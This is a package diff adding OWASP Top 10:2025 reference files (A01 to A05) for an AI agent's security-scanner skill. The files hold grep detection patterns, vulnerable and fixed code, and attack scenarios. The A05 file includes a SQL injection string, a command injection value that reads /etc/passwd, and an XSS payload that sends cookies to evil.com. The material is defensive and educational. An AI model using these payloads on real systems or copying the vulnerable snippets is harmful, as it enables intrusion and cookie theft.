create-xani-agentic-app 1.0.0

package/template/.agents/skills/security-scanner/references/A01-broken-access-control.md

@@ -0,0 +1,136 @@
+# A01:2025 — Broken Access Control
+
+## Overview
+
+Broken Access Control is the #1 vulnerability in OWASP Top 10:2025. 100% of applications tested showed some form of broken access control. It encompasses 40 CWEs with 1,839,701 total occurrences and 32,654 CVEs. Access control enforces policy preventing users from exceeding their permissions — failures enable unauthorized data disclosure, modification, or destruction.
+
+## Key CWEs
+
+- **CWE-200**: Exposure of Sensitive Information to Unauthorized Actor
+- **CWE-284**: Improper Access Control
+- **CWE-285**: Improper Authorization
+- **CWE-352**: Cross-Site Request Forgery (CSRF)
+- **CWE-425**: Direct Request (Forced Browsing)
+- **CWE-639**: Authorization Bypass Through User-Controlled Key (IDOR)
+- **CWE-862**: Missing Authorization
+- **CWE-863**: Incorrect Authorization
+- **CWE-918**: Server-Side Request Forgery (SSRF)
+- **CWE-22**: Path Traversal
+
+## What to Look For
+
+### General Patterns
+- Routes/endpoints missing authentication middleware or guards
+- Missing authorization/role checks on protected routes (any authenticated user can access admin routes)
+- IDOR: user-controlled IDs in URLs or request bodies used to fetch records without ownership verification
+- CORS misconfiguration (wildcard `*` or overly permissive origins)
+- Directory traversal in file paths (user input used in `path.join`, `fs.readFile`, etc.)
+- CSRF: state-changing operations (POST/PUT/DELETE) without CSRF token validation
+- Privilege escalation: missing role checks, role stored client-side or in JWT without verification
+- Force browsing: admin/debug/internal endpoints accessible without auth
+
+### Grep Patterns
+
+```
+# Missing auth middleware on routes
+Access-Control-Allow-Origin.*\*
+Access-Control-Allow-Credentials.*true
+
+# IDOR patterns — user-controlled ID without ownership check
+params\.id|params\.userId|req\.query\.id
+request\.getParameter\("acct"\)
+findById|findOne.*id
+
+# Path traversal
+path\.join.*req\.|path\.resolve.*req\.
+\.\.\/|\.\.\\
+
+# Missing CSRF
+method.*(POST|PUT|DELETE|PATCH)
+csrf|csrfToken|_csrf
+
+# Force browsing / unprotected admin
+/admin|/debug|/internal|/api/admin
+```
+
+### JavaScript / TypeScript / Node.js
+- Express/Next.js routes without auth middleware (`getSession`, `getServerSession`, `requireAuth`)
+- API routes that read `params.id` or `query.id` and fetch records without checking ownership against session user
+- `next.config.js` with permissive CORS headers
+- Missing `withAuth` or session validation wrappers on API handlers
+
+### Python (Django/Flask)
+- Views without `@login_required` or `@permission_required` decorators
+- `request.GET['id']` used directly in queries without ownership filter
+- Missing `CSRF_COOKIE_SECURE` or `CSRF_COOKIE_HTTPONLY` settings
+- `CORS_ALLOW_ALL_ORIGINS = True`
+
+### Java (Spring)
+- Controllers without `@PreAuthorize` or `@Secured` annotations
+- Missing `SecurityFilterChain` configuration
+- `@CrossOrigin(origins = "*")`
+- Direct use of `request.getParameter()` in database queries without authorization
+
+## Prevention Measures
+
+1. Deny by default — restrict access except for public resources
+2. Implement centralized, reusable access control mechanisms
+3. Enforce record ownership — users can only access their own records
+4. Apply business logic constraints through domain models
+5. Disable directory listing; remove metadata/backups from web roots
+6. Log access control failures; alert administrators on suspicious patterns
+7. Rate limit API/controller access
+8. Invalidate sessions server-side on logout; use short-lived JWTs
+9. Include functional access control tests in unit and integration suites
+
+## Example Attack Scenarios
+
+**Scenario 1 — Parameter Tampering:**
+```
+https://example.com/app/accountInfo?acct=notmyacct
+```
+Attacker modifies the `acct` parameter to access any user's account.
+
+**Scenario 2 — Forced Browsing:**
+```
+https://example.com/app/admin_getappInfo
+```
+Unauthenticated users access admin pages via direct URL.
+
+**Scenario 3 — Client-Side Only Controls:**
+```bash
+curl https://example.com/app/admin_getappInfo
+```
+Frontend JavaScript protections bypassed via direct API calls.
+
+## Fix Examples
+
+**Before (IDOR vulnerability):**
+```typescript
+// Any authenticated user can access any note
+export async function GET(req, { params }) {
+  const note = await db.get('SELECT * FROM notes WHERE id = ?', params.id);
+  return Response.json(note);
+}
+```
+
+**After (ownership check):**
+```typescript
+export async function GET(req, { params }) {
+  const session = await getSession(req);
+  if (!session) return Response.json({ error: 'Unauthorized' }, { status: 401 });
+  const note = await db.get(
+    'SELECT * FROM notes WHERE id = ? AND user_id = ?',
+    [params.id, session.userId]
+  );
+  if (!note) return Response.json({ error: 'Not found' }, { status: 404 });
+  return Response.json(note);
+}
+```
+
+## References
+
+- [OWASP A01:2025](https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/)
+- OWASP Proactive Controls: C1 Access Control
+- OWASP ASVS V8 Authorization
+- OWASP Authorization Cheat Sheet

package/template/.agents/skills/security-scanner/references/A02-security-misconfiguration.md

@@ -0,0 +1,130 @@
+# A02:2025 — Security Misconfiguration
+
+## Overview
+
+Security Misconfiguration is #2 in OWASP Top 10:2025. 100% of applications tested showed some form of misconfiguration with 719,084 total occurrences across 16 CWEs. This occurs when systems lack proper security setup — missing hardening, unnecessary features enabled, default credentials, verbose errors, or insecure settings.
+
+## Key CWEs
+
+- **CWE-16**: Configuration
+- **CWE-260**: Password in Configuration File
+- **CWE-489**: Active Debug Code
+- **CWE-526**: Exposure of Environment Variables
+- **CWE-547**: Use of Hard-Coded Security-Relevant Constants
+- **CWE-611**: Improper Restriction of XML External Entity Reference
+- **CWE-614**: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
+- **CWE-942**: Permissive Cross-domain Policy
+- **CWE-1004**: Sensitive Cookie Without 'HttpOnly' Flag
+
+## What to Look For
+
+### General Patterns
+- Debug/development mode enabled in production configs
+- Default credentials left in code or config (admin/admin, root/root, test/test)
+- Verbose error messages exposing stack traces, SQL queries, or internal paths to users
+- Unnecessary features/services enabled (directory listing, debug endpoints, sample apps)
+- Missing security headers (CSP, HSTS, X-Frame-Options, X-Content-Type-Options)
+- Overly permissive CORS (Access-Control-Allow-Origin: *)
+- Server/framework version headers enabled (X-Powered-By, Server)
+- Hardcoded secrets in source code (API keys, passwords, tokens)
+- Environment variables exposed via debug endpoints or error pages
+- XML external entity processing enabled
+
+### Grep Patterns
+
+```
+# Debug/development mode
+DEBUG\s*=\s*[Tt]rue|debug\s*:\s*true|NODE_ENV.*development
+poweredByHeader|x-powered-by
+
+# Default credentials
+admin.*admin|password.*password|root.*root|test.*test
+default.*password|default.*credential
+
+# Verbose errors returned to client
+err\.stack|error\.stack|stackTrace|stack_trace
+err\.message|error\.message|e\.getMessage
+
+# Missing security headers
+Content-Security-Policy|X-Frame-Options|X-Content-Type-Options
+Strict-Transport-Security|Referrer-Policy
+
+# Exposed environment/config
+process\.env|os\.environ|System\.getenv
+/debug|/health|/status|/info|/env|/actuator
+
+# Hardcoded secrets
+SECRET.*=.*['"]|API_KEY.*=.*['"]|PASSWORD.*=.*['"]
+private_key|secret_key|access_token
+```
+
+### JavaScript / TypeScript / Node.js
+- `next.config.js` with `poweredByHeader: true` or missing security headers
+- Express without `helmet` middleware
+- `.env` or `.env.local` files with secrets not in `.gitignore`
+- Debug routes like `/api/debug` or `/api/health` exposing internal state
+- `console.log` of sensitive config values
+- Error handlers returning `err.stack` or `err.message` to client
+
+### Python (Django/Flask)
+- `DEBUG = True` in production settings
+- `ALLOWED_HOSTS = ['*']`
+- `SECRET_KEY` hardcoded in settings.py
+- Flask debug mode: `app.run(debug=True)`
+
+### Java (Spring)
+- `spring.jpa.show-sql=true` in production
+- Actuator endpoints exposed without authentication (`/actuator/env`, `/actuator/beans`)
+- `server.error.include-stacktrace=always`
+
+## Prevention Measures
+
+1. Automate deployment of locked-down environments with unique credentials per environment
+2. Remove unnecessary features, components, samples, and documentation
+3. Review and update configurations with each security patch
+4. Implement segmented architecture (containerization, cloud security groups)
+5. Send security directives to clients via headers (CSP, HSTS, etc.)
+6. Automate configuration verification across all environments
+7. Centralize error handling — never expose stack traces or internal details to users
+8. Use identity federation and short-lived credentials instead of static secrets
+
+## Example Attack Scenarios
+
+**Scenario 1:** Sample applications with known vulnerabilities remain on production servers. Default admin credentials unchanged.
+
+**Scenario 2:** Directory listing enabled, allowing attackers to download compiled classes for reverse engineering.
+
+**Scenario 3:** Detailed error messages with stack traces and component versions returned to users.
+
+**Scenario 4:** Cloud storage defaults to public access, exposing sensitive data.
+
+## Fix Examples
+
+**Before (debug endpoint exposing environment):**
+```typescript
+export async function GET() {
+  return Response.json({
+    env: process.env,
+    nodeVersion: process.version,
+    uptime: process.uptime()
+  });
+}
+```
+
+**After (remove debug endpoint entirely, or protect it):**
+```typescript
+// Delete the debug endpoint entirely in production.
+// If needed for ops, protect with admin auth and filter sensitive values:
+export async function GET(req) {
+  const session = await getAdminSession(req);
+  if (!session?.isAdmin) return Response.json({ error: 'Forbidden' }, { status: 403 });
+  return Response.json({ uptime: process.uptime(), nodeEnv: process.env.NODE_ENV });
+}
+```
+
+## References
+
+- [OWASP A02:2025](https://owasp.org/Top10/2025/A02_2025-Security_Misconfiguration/)
+- OWASP Testing Guide: Configuration Management
+- OWASP ASVS V13 Configuration
+- CIS Security Configuration Guides

package/template/.agents/skills/security-scanner/references/A03-software-supply-chain-failures.md

@@ -0,0 +1,117 @@
+# A03:2025 — Software Supply Chain Failures
+
+## Overview
+
+Software Supply Chain Failures is #3 in OWASP Top 10:2025. This category covers compromises in building, distributing, or updating software — vulnerabilities or malicious changes embedded in third-party code, tools, or dependencies. Notable incidents include SolarWinds (2019, 18,000 orgs compromised), Bybit ($1.5B theft, 2025), and Log4Shell (CVE-2021-44228).
+
+## Key CWEs
+
+- **CWE-937**: Using Components with Known Vulnerabilities
+- **CWE-1035**: Using Components from Untrusted Sources
+- **CWE-1104**: Use of Unmaintained Third-Party Components
+- **CWE-829**: Inclusion of Functionality from Untrusted Control Sphere
+- **CWE-494**: Download of Code Without Integrity Check
+- **CWE-506**: Embedded Malicious Code
+
+## What to Look For
+
+### General Patterns
+- Known vulnerable dependency versions in package manifests
+- Unpinned or wildcard dependency versions (`*`, `^`, `~` with major ranges)
+- CDN scripts loaded without Subresource Integrity (SRI) hashes
+- Missing lock files or significantly outdated lock files
+- Dependencies from unofficial or untrusted registries
+- No Software Bill of Materials (SBOM) tracking
+- Single-person deployment without review gates
+- CI/CD pipeline configs with weaker security than production
+- Transitive dependencies not tracked or audited
+
+### Grep Patterns
+
+```
+# Wildcard or loose versioning
+"\*"|"latest"|"\^0\."
+">="|"<="|"~"
+
+# CDN scripts without integrity
+<script.*src=.*cdn|<link.*href=.*cdn
+integrity=|crossorigin=
+
+# Known vulnerable patterns (check versions)
+lodash.*4\.17\.(0|1[0-1])  # prototype pollution
+axios.*0\.21\.[0-1]         # SSRF
+jsonwebtoken.*[5-8]\.       # various CVEs
+log4j.*2\.(0|1[0-6])        # Log4Shell
+
+# Package manifest files to check
+package\.json|requirements\.txt|Gemfile|go\.mod|pom\.xml|Cargo\.toml|\.csproj
+```
+
+### JavaScript / TypeScript / Node.js
+- Check `package.json` dependency versions against known CVEs
+- Look for `<script src="https://cdn...">` without `integrity` attribute in HTML/JSX
+- Run `npm audit` or `yarn audit` mentally — flag packages with known issues
+- Check for `package-lock.json` / `yarn.lock` existence and freshness
+- Flag use of deprecated packages (e.g., `request`, `querystring`)
+
+### Python
+- Check `requirements.txt` for pinned versions with known CVEs
+- Look for `pip install` without `--require-hashes`
+- Check for `Pipfile.lock` or `poetry.lock`
+
+### Java
+- Check `pom.xml` dependency versions against known CVEs
+- Look for `<repository>` entries pointing to unofficial Maven repos
+- Flag old Spring, Log4j, Jackson, or Apache Commons versions
+
+## Prevention Measures
+
+1. Generate and maintain Software Bill of Materials (SBOM)
+2. Track all direct and transitive dependencies
+3. Remove unused dependencies and unnecessary components
+4. Continuously monitor for CVEs (OWASP Dependency Check, Snyk, npm audit)
+5. Obtain components only from official, trusted sources via secure channels
+6. Implement Subresource Integrity (SRI) for all CDN-loaded resources
+7. Pin dependency versions and use lock files
+8. Implement staged rollouts, not simultaneous deployments
+9. Harden CI/CD pipelines with MFA and access controls
+10. Require code review for all changes before merge
+
+## Example Attack Scenarios
+
+**SolarWinds (2019):** Trusted vendor infiltrated — malware propagated to 18,000 orgs via software updates.
+
+**Log4Shell (2021):** CVE-2021-44228 in Apache Log4j enabled remote code execution, affecting millions of Java applications.
+
+**Shai-Hulud (2025):** First self-propagating npm worm infected 500+ package versions, harvesting developer credentials.
+
+## Fix Examples
+
+**Before (CDN without SRI):**
+```html
+<script src="https://cdn.example.com/lib.min.js"></script>
+```
+
+**After (CDN with SRI):**
+```html
+<script src="https://cdn.example.com/lib.min.js"
+  integrity="sha384-abc123..."
+  crossorigin="anonymous"></script>
+```
+
+**Before (loose dependency versions):**
+```json
+{ "lodash": "^4.17.0", "axios": "*" }
+```
+
+**After (pinned versions, updated):**
+```json
+{ "lodash": "4.17.21", "axios": "1.7.2" }
+```
+
+## References
+
+- [OWASP A03:2025](https://owasp.org/Top10/2025/A03_2025-Software_Supply_Chain_Failures/)
+- OWASP Dependency Check / Dependency Track
+- CycloneDX SBOM Standard
+- OWASP ASVS: Component Verification

package/template/.agents/skills/security-scanner/references/A04-cryptographic-failures.md

@@ -0,0 +1,141 @@
+# A04:2025 — Cryptographic Failures
+
+## Overview
+
+Cryptographic Failures is #4 in OWASP Top 10:2025 (down from #2). It covers failures related to lack of cryptography, insufficiently strong cryptography, leaking of cryptographic keys, and related errors. 32 CWEs mapped, 1,665,348 total occurrences, 2,185 CVEs.
+
+## Key CWEs
+
+- **CWE-261**: Weak Encoding for Password
+- **CWE-319**: Cleartext Transmission of Sensitive Information
+- **CWE-321**: Use of Hard-coded Cryptographic Key
+- **CWE-326**: Inadequate Encryption Strength
+- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm
+- **CWE-328**: Reversible One-Way Hash
+- **CWE-330**: Use of Insufficiently Random Values
+- **CWE-338**: Use of Cryptographically Weak PRNG
+- **CWE-759**: Use of One-Way Hash Without a Salt
+- **CWE-916**: Use of Password Hash With Insufficient Computational Effort
+
+## What to Look For
+
+### General Patterns
+- Weak hashing algorithms used for passwords (MD5, SHA1, SHA256 without key stretching)
+- Missing salt in password hashing
+- Hardcoded cryptographic keys, secrets, or API keys in source code
+- Sensitive data transmitted without encryption (HTTP, FTP, SMTP)
+- Weak random number generation for security tokens (Math.random, rand())
+- Cookies missing `Secure` flag (sent over HTTP)
+- Sensitive data in logs (passwords, tokens, credit cards, PII)
+- Base64 encoding used as "encryption" for tokens or secrets
+- Deprecated crypto algorithms (DES, 3DES, RC4, MD5, SHA1)
+- Missing HSTS headers
+- Hardcoded IVs or nonces in encryption
+
+### Grep Patterns
+
+```
+# Weak hashing
+createHash\(['"]md5['"]\)|createHash\(['"]sha1['"]\)
+hashlib\.md5|hashlib\.sha1
+MessageDigest\.getInstance\(['"]MD5['"]\)|MessageDigest\.getInstance\(['"]SHA-1['"]\)
+md5\(|sha1\(
+
+# Weak randomness
+Math\.random|random\.random|rand\(\)|Random\(\)
+uuid.*v1|Date\.now
+
+# Hardcoded secrets/keys
+SECRET.*=\s*['"][^'"]{8,}|KEY.*=\s*['"][^'"]{8,}|PASSWORD.*=\s*['"][^'"]{4,}
+private.?key|secret.?key|api.?key|access.?token
+
+# Base64 as "encryption"
+Buffer\.from.*base64|btoa\(|atob\(
+base64\.encode|base64\.decode
+
+# Cookie security flags
+httpOnly\s*:\s*false|secure\s*:\s*false|sameSite.*none
+Set-Cookie(?!.*Secure)(?!.*HttpOnly)
+
+# Cleartext protocols
+http:\/\/(?!localhost)|ftp:\/\/|smtp:\/\/
+```
+
+### JavaScript / TypeScript / Node.js
+- `crypto.createHash('md5')` or `crypto.createHash('sha1')` for password hashing
+- `Math.random()` used for tokens, session IDs, or reset codes
+- `Buffer.from(data).toString('base64')` used as a "token" (trivially decodable)
+- Session cookies set without `httpOnly: true`, `secure: true`, `sameSite: 'strict'`
+- JWT secrets hardcoded in source files
+- Missing `bcrypt`, `argon2`, or `scrypt` for password hashing
+
+### Python
+- `hashlib.md5()` or `hashlib.sha1()` for passwords
+- `random.random()` or `random.randint()` for security tokens (should use `secrets` module)
+- `base64.b64encode()` used as encryption
+
+### Java
+- `MessageDigest.getInstance("MD5")` or `MessageDigest.getInstance("SHA-1")`
+- `java.util.Random` instead of `java.security.SecureRandom`
+- Hardcoded keys in `KeySpec` constructors
+
+## Prevention Measures
+
+1. Classify data and identify what needs encryption per privacy laws and regulations
+2. Don't store sensitive data unnecessarily — data not retained cannot be stolen
+3. Encrypt all sensitive data at rest using strong algorithms (AES-256)
+4. Use TLS 1.2+ for all data in transit; enforce with HSTS
+5. Store passwords with strong adaptive hashing: Argon2, scrypt, bcrypt, or PBKDF2
+6. Always use salts and appropriate work factors
+7. Use CSPRNG for all security-sensitive random values
+8. Never reuse IVs/nonces with the same key
+9. Use authenticated encryption (GCM mode, not ECB/CBC)
+10. Rotate cryptographic keys regularly
+11. Disable caching for responses containing sensitive data
+
+## Example Attack Scenarios
+
+**Scenario 1 — Weak Password Hashing:**
+Password database uses unsalted MD5. Attacker retrieves database via another vulnerability, cracks all passwords via rainbow tables in minutes.
+
+**Scenario 2 — Predictable Tokens:**
+Password reset tokens generated with `Math.random()`. Attacker predicts tokens and resets other users' passwords.
+
+## Fix Examples
+
+**Before (MD5 password hashing):**
+```typescript
+import crypto from 'crypto';
+function hashPassword(password: string) {
+  return crypto.createHash('md5').update(password).digest('hex');
+}
+```
+
+**After (bcrypt with salt):**
+```typescript
+import bcrypt from 'bcrypt';
+async function hashPassword(password: string) {
+  return bcrypt.hash(password, 12);
+}
+async function verifyPassword(password: string, hash: string) {
+  return bcrypt.compare(password, hash);
+}
+```
+
+**Before (predictable token):**
+```typescript
+const resetToken = Math.random().toString(36).substring(2);
+```
+
+**After (cryptographically secure token):**
+```typescript
+import crypto from 'crypto';
+const resetToken = crypto.randomBytes(32).toString('hex');
+```
+
+## References
+
+- [OWASP A04:2025](https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/)
+- OWASP Cheat Sheet: Password Storage
+- OWASP Cheat Sheet: Cryptographic Storage
+- OWASP Cheat Sheet: Transport Layer Protection

package/template/.agents/skills/security-scanner/references/A05-injection.md

@@ -0,0 +1,155 @@
+# A05:2025 — Injection
+
+## Overview
+
+Injection is #5 in OWASP Top 10:2025 (down from #3). 100% of applications were tested for injection, and the category holds the highest CVE count at 62,445 across 37 CWEs. Injection occurs when untrusted user input is sent to an interpreter and executed as commands — including SQL, NoSQL, OS command, ORM, LDAP, and Expression Language injection. Cross-Site Scripting (XSS) is included in this category.
+
+## Key CWEs
+
+- **CWE-79**: Cross-site Scripting (XSS) — 30,000+ CVEs
+- **CWE-89**: SQL Injection — 14,000+ CVEs
+- **CWE-78**: OS Command Injection
+- **CWE-20**: Improper Input Validation
+- **CWE-94**: Improper Control of Generation of Code (Code Injection)
+- **CWE-77**: Command Injection
+- **CWE-74**: Injection (general)
+- **CWE-917**: Expression Language Injection
+- **CWE-1336**: Template Injection
+
+## What to Look For
+
+### SQL Injection
+- String concatenation in SQL queries (instead of parameterized queries)
+- Template literals embedding user input directly into SQL
+- ORM methods with raw query options using unsanitized input
+- Dynamic table/column names from user input
+
+### Command Injection
+- `exec()`, `spawn()`, `system()`, `popen()` with user-controlled arguments
+- Shell command strings built with user input concatenation
+- `child_process` usage with unsanitized input
+
+### Cross-Site Scripting (XSS)
+- `dangerouslySetInnerHTML` in React without sanitization
+- `innerHTML`, `outerHTML`, `document.write()` with user data
+- Template rendering of unsanitized user input
+- URL parameters reflected into HTML without encoding
+
+### Code Injection
+- `eval()` with user-controlled input
+- `Function()` constructor with user input
+- `setTimeout`/`setInterval` with string arguments from user input
+- Dynamic `import()` with user-controlled paths
+
+### Server-Side Request Forgery (SSRF)
+- HTTP requests where the URL is user-controlled
+- URL parsing/fetching endpoints without allowlist validation
+- Image/preview/proxy endpoints fetching arbitrary URLs
+
+### Grep Patterns
+
+```
+# SQL injection
+\+.*['"].*SELECT|SELECT.*\+.*req\.|SELECT.*\$\{|SELECT.*%s
+\.query\(.*\+|\.execute\(.*\+|\.raw\(.*\+
+f"SELECT|f"INSERT|f"UPDATE|f"DELETE
+
+# Command injection
+exec\(|execSync\(|spawn\(|spawnSync\(
+child_process|subprocess|os\.system|os\.popen
+Runtime\.getRuntime\(\)\.exec
+
+# XSS
+dangerouslySetInnerHTML|innerHTML|outerHTML|document\.write
+v-html|ng-bind-html|\{\{\{.*\}\}\}
+
+# Code injection
+eval\(|Function\(|new Function|setTimeout\(.*req|setInterval\(.*req
+
+# SSRF
+fetch\(.*req\.|axios\(.*req\.|http\.get\(.*req\.|urllib.*req\.
+request\.get\(.*user|requests\.get\(.*param
+```
+
+### JavaScript / TypeScript / Node.js
+- Template literals in SQL: `` `SELECT * FROM users WHERE id = ${req.params.id}` ``
+- `exec(command)` where command includes user input
+- `dangerouslySetInnerHTML={{ __html: userContent }}`
+- `eval(req.body.code)` or similar
+- `fetch(req.query.url)` in preview/proxy endpoints
+
+### Python (Django/Flask)
+- `cursor.execute(f"SELECT ... {user_input}")` — use parameterized queries
+- `os.system(f"command {user_input}")` — use subprocess with shell=False
+- `eval(request.data)` or `exec(request.data)`
+- Jinja2 `|safe` filter on user input
+
+### Java (Spring)
+- `Statement.executeQuery()` with concatenated SQL (use `PreparedStatement`)
+- `Runtime.getRuntime().exec()` with user input
+- JSP `<%= request.getParameter() %>` without encoding
+
+## Prevention Measures
+
+1. Use parameterized queries / prepared statements for ALL database access
+2. Use safe APIs that avoid the interpreter entirely
+3. Implement positive server-side input validation (allowlists)
+4. Escape special characters using interpreter-specific syntax
+5. Use LIMIT and other SQL controls to prevent mass disclosure
+6. For XSS: use framework auto-escaping, CSP headers, sanitize HTML (DOMPurify)
+7. For command injection: avoid shell execution entirely; use library functions
+8. For SSRF: validate and allowlist URLs; block internal network ranges
+
+## Example Attack Scenarios
+
+**Scenario 1 — SQL Injection:**
+```
+https://example.com/search?q=' OR '1'='1
+```
+Query becomes: `SELECT * FROM items WHERE name = '' OR '1'='1'` — returns all records.
+
+**Scenario 2 — Command Injection:**
+```
+https://example.com/export?file=report;cat /etc/passwd
+```
+Server executes: `convert report;cat /etc/passwd` — leaks system files.
+
+**Scenario 3 — XSS:**
+User stores `<script>document.location='https://evil.com/steal?c='+document.cookie</script>` as content, which executes in other users' browsers.
+
+## Fix Examples
+
+**Before (SQL injection):**
+```typescript
+const query = `SELECT * FROM notes WHERE title LIKE '%${searchTerm}%'`;
+const results = db.all(query);
+```
+
+**After (parameterized query):**
+```typescript
+const results = db.all(
+  'SELECT * FROM notes WHERE title LIKE ?',
+  [`%${searchTerm}%`]
+);
+```
+
+**Before (command injection):**
+```typescript
+const { exec } = require('child_process');
+exec(`convert ${req.query.filename} output.pdf`);
+```
+
+**After (safe alternative):**
+```typescript
+const { execFile } = require('child_process');
+const safeName = path.basename(req.query.filename);
+execFile('convert', [safeName, 'output.pdf']);
+```
+
+## References
+
+- [OWASP A05:2025](https://owasp.org/Top10/2025/A05_2025-Injection/)
+- OWASP Cheat Sheet: Injection Prevention
+- OWASP Cheat Sheet: SQL Injection Prevention
+- OWASP Cheat Sheet: Query Parameterization
+- OWASP Cheat Sheet: XSS Prevention